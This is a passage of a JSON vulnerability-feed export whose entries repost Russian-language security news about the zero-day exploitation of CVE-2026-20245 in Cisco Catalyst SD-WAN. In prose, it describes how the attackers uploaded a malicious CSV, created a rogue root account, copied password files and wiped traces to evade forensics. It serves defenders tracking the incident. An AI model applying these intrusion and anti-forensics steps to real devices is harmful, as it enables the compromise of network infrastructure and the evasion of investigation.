\u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 CVE-2026-20245 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 SD-WAN, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b evil_tenant.csv.\n\nCVE-2026-20245, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 Cisco, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (CLI) \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 Cisco Catalyst SD-WAN \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f\u00a0/etc/passwd\u0438\u00a0/etc/shadow, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c troot \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u00a0su \u043a\u043e\u043c\u0430\u043d\u0434\u0443 Linux \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0432\u043d\u043e\u0432\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c root, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c Mandiant, \u043d\u0430\u043f\u0430\u0434\u0430\u0432\u0448\u0438\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u044b, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u0434\u0430\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0427\u0442\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u043d\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0438\u0441\u0442\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0430\u0442\u0430\u043a\u0438, \u0438 \u0441\u0442\u0435\u0440\u0435\u0432 \u0441\u043b\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 root.\n\nMandiant \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0438\u0440\u0438\u043d\u0433\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043d\u0438 \u043a \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCisco \u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0447\u0442\u043e \u0432\u0437\u043b\u043e\u043c \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2026-20182, \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b, \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 IOCs, IP \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-13T13:00:07.356145Z"}, {"uuid": "77f03631-81ab-4529-87a2-e08100745943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/true_secator/8345", "content": "\u041f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Cisco Catalyst SD-WAN (CVE-2026-20245) \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 root \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nCVE-2026-20245 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Cisco Catalyst SD-WAN Manager (vManage), Controller (vSmart) \u0438 Validator (vBond), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043e \u043d\u0435\u0439 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0430\u0442\u0430\u043a,\u00a0\u043d\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u0422\u043e\u0433\u0434\u0430 Cisco \u043b\u0438\u0448\u044c \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0439 \u043d\u0430 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c SD-WAN.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0438\u0440\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439 SD-WAN, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0443\u0441\u043b\u0443\u0433.\n\n\u041d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043c\u0430\u0440\u0442\u0430 2026 \u0433\u043e\u0434\u0430, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 SD-WAN Manager, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0432\u043e\u044e\u00a0vmanage-admin \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c.\n\n\u0412 Mandiant \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043c\u043e\u0433\u043b\u043e \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0443\u043b\u0435\u0439 \u0432 Cisco SD-WAN, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, CVE-2026-20127 \u0438 CVE-2026-20182, \u043e\u0434\u043d\u0430\u043a\u043e \u0442\u043e\u0447\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0442\u0430\u043a \u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0432\u043e\u0448\u043b\u0438 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 SD-WAN Manager \u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 SD-WAN.\n\nMandiant \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 CVE-2026-20245 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 SD-WAN, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b evil_tenant.csv.\n\nCVE-2026-20245, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 Cisco, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (CLI) \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 Cisco Catalyst SD-WAN \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f\u00a0/etc/passwd\u0438\u00a0/etc/shadow, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c troot \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 